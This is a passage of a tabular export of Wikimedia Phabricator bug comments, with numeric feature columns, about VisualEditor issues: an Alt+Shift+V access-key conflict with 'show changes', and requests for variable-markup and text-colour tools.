670972,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Yes Ed, but only when you're on the content page.",,,1464613495,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,152,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,1.0,"Yes Ed, but only when you're on the content page."
636739,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox",alt+shift+v appears to launch VE now we have editor switching (from duplicate T130899),,,1459265003,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,True,,,143,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,27.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.933333333333334,1.0,alt+shift+v appears to launch VE now we have editor switching (from duplicate T130899)
249687,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","(In reply to Lejonel from comment #4)
> In other namespaces focus is always on ""show changes""
> button, but the shortcut does not actually click the button. That is because
> the HTML still contains a hidden ""visual edit"" tab with the same shortcut.

This is changing (bug 64142)",,,1400371890,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,True,,,45,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.125,0.75,"(In reply to Lejonel from comment #4)
QUOTE
QUOTE
QUOTE

This is changing (bug 64142)"
249680,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","**dng032** wrote:

Results of testing in Wikipedias about a week ago:

(""Positions"" means that focus changes to the ""Show changes"" button, but does not actually show the changes)

Catalan : positions
German : shows dif
French : positions
Greek : positions
English : shows dif
Spanish : shows dif
Hungarian : positions
Italian : warns about not saving
Japanese : shows dif
Portuguese : positions
Russian : positions
Simple English : positions
Chinese : shows dif

Sorry for being late to react and for not retesting recently. ~~~~",,,1398663027,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,2.0,7.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,5.5,0.0,1.0,0.0,0.0,0.5,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.0,13.5,0.5,1.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,6.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,3.88135593220339,0.5932203389830508,"**dng032** wrote:

Results of testing in Wikipedias about a week ago:

(""Positions"" means that focus changes to the ""Show changes"" button, but does not actually show the changes)

Catalan : positions
German : shows dif
French : positions
Greek : positions
English : shows dif
Spanish : shows dif
Hungarian : positions
Italian : warns about not saving
Japanese : shows dif
Portuguese : positions
Russian : positions
Simple English : positions
Chinese : shows dif

Sorry for being late to react and for not retesting recently. ~~~~"
249673,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Maybe Visual editor does not need an access key while the normal editor is used? Then one possible solution is to just remove 'v' as access key for visual editor when using the normal wiki editor.

I think removing the access key there should not cause any problems for most users, for two reasons:

1. Since currently ""show changes"" in wiki editor has the same acces key, neither of the access keys work as they should.
2. In most use cases for Visual editor a user starts visual editting when they are seeing an actual page, not when they are looking at the page in the wiki editor.",,,1397937991,,PHID-USER-axibsactcdotqkfh3mfe,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,41,,0.5,0.0,0.0,0.5,2.0,9.0,0.5,0.0,0.0,0.0,3.5,1.0,0.0,0.0,0.5,0.5,0.0,6.0,9.5,0.0,0.5,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,19.5,0.0,0.0,1.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.5,0.0,7.0,2.5,4.5,3.5,0.0,8.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,3.0,9.5,0.0,0.5,2.5,0.0,3.0,0.0,2.0,2.0,0.0,2.5,0.0,1.5,1.5,3.839093701996928,0.7359190988223246,"Maybe Visual editor does not need an access key while the normal editor is used? Then one possible solution is to just remove 'v' as access key for visual editor when using the normal wiki editor.

I think removing the access key there should not cause any problems for most users, for two reasons:

1. Since currently ""show changes"" in wiki editor has the same acces key, neither of the access keys work as they should.
2. In most use cases for Visual editor a user starts visual editting when they are seeing an actual page, not when they are looking at the page in the wiki editor."
249666,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox",*** Bug 52969 has been marked as a duplicate of this bug. ***,,,1397676026,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52969 has been marked as a duplicate of this bug. ***
249659,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox",Suggestions for a different shortcut for VisualEditor (or show changes) welcome.,,,1397675426,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9285714285714286,Suggestions for a different shortcut for VisualEditor (or show changes) welcome.
249653,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","This is because the same shortcut is used for multiple actions in the same page. 

For me in Firefox in namespaces with visual editor enabled pressing alt+shift+v once focuses on the ""show changes"" button, pressing again focus on ""visual edit"" tab"" and further key pressing just changes the focus between the two. In other namespaces focus is always on ""show changes"" button, but the shortcut does not actually click the button. That is because the HTML still contains a hidden ""visual edit"" tab with the same shortcut.",,,1377281265,,PHID-USER-axibsactcdotqkfh3mfe,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.5,1.0,7.0,2.5,1.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,6.5,9.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,17.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,3.0,4.5,1.5,1.5,10.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.5,9.5,0.5,0.0,6.5,0.0,0.5,0.0,0.0,1.0,0.5,2.0,0.0,0.0,0.0,4.203431372549019,0.7279411764705883,"This is because the same shortcut is used for multiple actions in the same page. 

For me in Firefox in namespaces with visual editor enabled pressing alt+shift+v once focuses on the ""show changes"" button, pressing again focus on ""visual edit"" tab"" and further key pressing just changes the focus between the two. In other namespaces focus is always on ""show changes"" button, but the shortcut does not actually click the button. That is because the HTML still contains a hidden ""visual edit"" tab with the same shortcut."
249651,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","**dng032** wrote:

(In reply to comment #2)
> This is definitely related to VisualEditor - the shortcut works when
> VisualEditor is disabled (Safari on Mac 6, Firefox 23 on Linux) and in
> Konqueror on Linux which VE is not enabled for.
> 
> Changing component to VisualEditor accordingly

jmCor: still Windows 7, Firefox 22.0. The component change did not fix the bug on my machine.",,,1376531065,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,6.0,0.0,2.0,6.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0625,0.7083333333333334,"**dng032** wrote:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

jmCor: still Windows 7, Firefox 22.0. The component change did not fix the bug on my machine."
249649,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","This is definitely related to VisualEditor - the shortcut works when VisualEditor is disabled (Safari on Mac 6, Firefox 23 on Linux) and in Konqueror on Linux which VE is not enabled for.

Changing component to VisualEditor accordingly",,,1376338921,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,2.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,28.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,26.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,4.627906976744186,0.813953488372093,"This is definitely related to VisualEditor - the shortcut works when VisualEditor is disabled (Safari on Mac 6, Firefox 23 on Linux) and in Konqueror on Linux which VE is not enabled for.

Changing component to VisualEditor accordingly"
249647,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Adding James to the CC as this might be an artefact of VE, even though it affects the source editor.",,,1376130189,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,18.0,5.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,18.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.6818181818181817,0.9545454545454546,"Adding James to the CC as this might be an artefact of VE, even though it affects the source editor."
54664,VisualEditor: Tool to set/unset text as a variable (<var>),"The <var> tag is used in many articles for variables, and there are css styling rules for it. An example article is Shading
http://en.wikipedia.org/w/index.php?title=Shading

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1376027640,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-rafmsmstj5wsl5tvqzu5,task_description,open,True,c1,3,False,False,,5,,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,13.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,3.872340425531915,0.7446808510638298,"The <var> tag is used in many articles for variables, and there are css styling rules for it. An example article is Shading
URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
247437,VisualEditor: Tool to set/unset text as a variable (<var>),"Change 141605 merged by jenkins-bot:
Split out ve.{dm,ce}.TextStyleAnnotation into parts, add other annotations

https://gerrit.wikimedia.org/r/141605",,,1404154586,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rafmsmstj5wsl5tvqzu5,task_subcomment,,True,c1,3,False,,,52,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.090909090909091,0.9545454545454546,"Change 141605 merged by jenkins-bot:
Split out ve.{dm,ce}.TextStyleAnnotation into parts, add other annotations

GERRIT_URL"
247433,VisualEditor: Tool to set/unset text as a variable (<var>),"Change 141605 had a related patch set uploaded by Jforrester:
Split out ve.{dm,ce}.TextStyleAnnotation into parts, add other annotations

https://gerrit.wikimedia.org/r/141605",,,1403568489,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rafmsmstj5wsl5tvqzu5,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.28,0.96,"Change 141605 had a related patch set uploaded by Jforrester:
Split out ve.{dm,ce}.TextStyleAnnotation into parts, add other annotations

GERRIT_URL"
54645,VisualEditor: Tool to set/unset text color,"VisualEditor needs a tool to set/unset font colour.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1375956720,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-iwu723btthb7y2jwtq7u,task_description,open,True,c1,3,False,False,,5,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.172413793103448,0.6896551724137931,"VisualEditor needs a tool to set/unset font colour.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
2461876,VisualEditor: Tool to set/unset text color,{F57733391},,,1732295481,,PHID-USER-zij24c7higfq2voiyf5y,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,594,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,{F57733391}
2262509,VisualEditor: Tool to set/unset text color,"Just an idea on how it may look like (a bit inspired by BlueSpice)

{F41702256}

""Custom color"" click will open a browser tool to select a custom color (browser tool allows to enter html code so no need to have a separate control for that)

End by analogy -- for colorizing table cells:

{F41702286}

This one would change color for the whole cell (not just for background) -- it might be helpful when people create tables and use color as an additional layer of information. For example like in Ubuntu versions table:

{F41702296}
",,,1705756442,,PHID-USER-37di5uhqpe6nihfhk2xf,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,550,,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,4.0,10.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,18.0,0.5,1.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,7.0,1.5,1.0,6.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,2.0,10.0,3.0,0.0,1.0,0.0,2.0,0.0,1.5,3.5,0.0,1.0,0.0,0.0,0.0,3.813997662185856,0.7951490356516657,"Just an idea on how it may look like (a bit inspired by BlueSpice)

{F41702256}

""Custom color"" click will open a browser tool to select a custom color (browser tool allows to enter html code so no need to have a separate control for that)

End by analogy -- for colorizing table cells:

{F41702286}

This one would change color for the whole cell (not just for background) -- it might be helpful when people create tables and use color as an additional layer of information. For example like in Ubuntu versions table:

{F41702296}
"
2262508,VisualEditor: Tool to set/unset text color,"Just an idea on how it may look like (a bit inspired by BlueSpice)

{F41702256}

""Custom color"" click will open a browser tool to select a custom color (browser tool allows to enter html code so no need to have a separate control for that)",,,1705755713,,PHID-USER-37di5uhqpe6nihfhk2xf,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,550,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,7.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,13.0,5.0,0.0,4.0,0.0,2.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,3.581818181818182,0.7818181818181819,"Just an idea on how it may look like (a bit inspired by BlueSpice)

{F41702256}

""Custom color"" click will open a browser tool to select a custom color (browser tool allows to enter html code so no need to have a separate control for that)"
959434,VisualEditor: Tool to set/unset text color,[[ https://www.mediawiki.org/wiki/Topic:U1chcv4o6odr18kt | Here's a new request for this. ]],,,1509959939,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,227,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,2.357142857142857,0.8571428571428571,[[ URL | Here's a new request for this. ]]
246414,VisualEditor: Tool to set/unset text color,"(In reply to Elitre from comment #8)
> Would we need to file a separate bug for background text color?

Background colour isn't really a thing we want to encourage. :-) That would be a distinct piece of work; created as bug 73041.

If you meant surface colouring for objects like table cells or <div>s, that's another piece of work again - bug 52180	for table cells, possibly that bug will need to be split for the wider work.

If you mean the ""highlight"" / ""mark"" tool, that's yet another one - bug 64376.",,,1415217870,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,True,,,70,,0.0,0.0,0.0,1.0,0.5,1.5,0.5,0.0,0.0,1.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,4.0,9.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.5,4.0,1.5,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,14.5,2.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,2.0,4.0,1.5,0.5,8.0,0.0,0.5,0.0,0.5,4.0,0.0,4.0,0.0,2.0,9.0,3.5,0.0,4.0,0.0,2.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.5,3.4554507337526204,0.8120195667365478,"(In reply to Elitre from comment #8)
QUOTE

Background colour isn't really a thing we want to encourage. :-) That would be a distinct piece of work; created as bug 73041.

If you meant surface colouring for objects like table cells or <div>s, that's another piece of work again - bug 52180	for table cells, possibly that bug will need to be split for the wider work.

If you mean the ""highlight"" / ""mark"" tool, that's yet another one - bug 64376."
246410,VisualEditor: Tool to set/unset text color,Would we need to file a separate bug for background text color?,,,1415188300,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,70,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,15.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Would we need to file a separate bug for background text color?
246405,VisualEditor: Tool to set/unset text color,"(Copied from
https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Textcolor)

Hi there :-)
Just wondering, why there is no feature for ""coloring Text"". In know, there is a way, to use 'span', but im looking for a feature, with a WYSIWYG-Editor. Any advices, ideas?

